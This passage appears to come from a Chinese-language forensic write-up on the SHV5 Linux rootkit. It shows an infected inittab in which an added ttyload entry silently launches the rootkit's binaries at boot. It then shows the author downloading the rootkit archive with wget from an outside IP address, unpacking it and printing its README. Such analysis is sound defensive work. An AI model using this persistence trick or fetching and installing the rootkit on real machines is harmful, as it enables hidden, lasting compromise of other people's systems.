# 6 - reboot (Do NOT set initdefault to this)
#
id:5:initdefault:
# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit
l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6
# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now
# When our UPS tells us power has failed, assume we have a few minutes
# of power left. Schedule a shutdown for 2 minutes from now.
# This does, of course, assume you have powerd installed and your
# UPS connected and working correctly.
pf::powerfail:/sbin/shutdown -f -h +2 "Power Failure; System Shutting Down"
# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Cancelled"
# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload (在这里了)
# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6
# modem getty.
# mo:235:respawn:/usr/sbin/mgetty -s 38400 modem
# fax getty (hylafax)
# mo:35:respawn:/usr/lib/fax/faxgetty /dev/modem
# vbox (voice box) getty
# I6:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI6
# I7:35:respawn:/usr/sbin/vboxgetty -d /dev/ttyI7
# end of /etc/inittab
看看他的启动文件:
[root@localhost lib]# cat /usr/sbin/ttyload
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1
以上除了工具,我们通过手工的方式对rootkit进行了一些简单的分析,这个是个没有修改过的SHV5。以上只是一些思路,在对待入侵问题上要具体问题具体分析,这个相对简单了点。
下面我们测试下这个SHV5:
[root@localhost .v]# wget http://211.100.50.70/shv5.tar.gz
解压、安装:
[root@localhost .v]# tar zxf shv5.tar.gz
[root@localhost .v]# cd shv5
[root@localhost shv5]# ls
bin.tgz conf.tgz lib.tgz README setup utilz.tgz
[root@localhost shv5]# cat README
############
### shv5 ###
############
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMMMMMMMMMMM
MMMMMMM MMMMMM
MMMMMM MMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMM
MMMMMMMM MMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMM
MMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMMMMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMM MMMMMM MMMMMMMM
MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMM MMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMMM MMM MMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMMMM MMMMMMMMMMMMMMMM
MMMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMMMM MMMMMMMMMMMMMMM
MMMMMMMMMM MMMMMMM MMMMMMM MMMMMMMMM MMMMMMMMMMMMM
MMMMMMMM MMMMMMM MMMMMMM MMMMM MMMMMMM
DISCLAIMER:
* The purpose of these coded instructions, statements and computer
* programs is for TEST AIMS ONLY !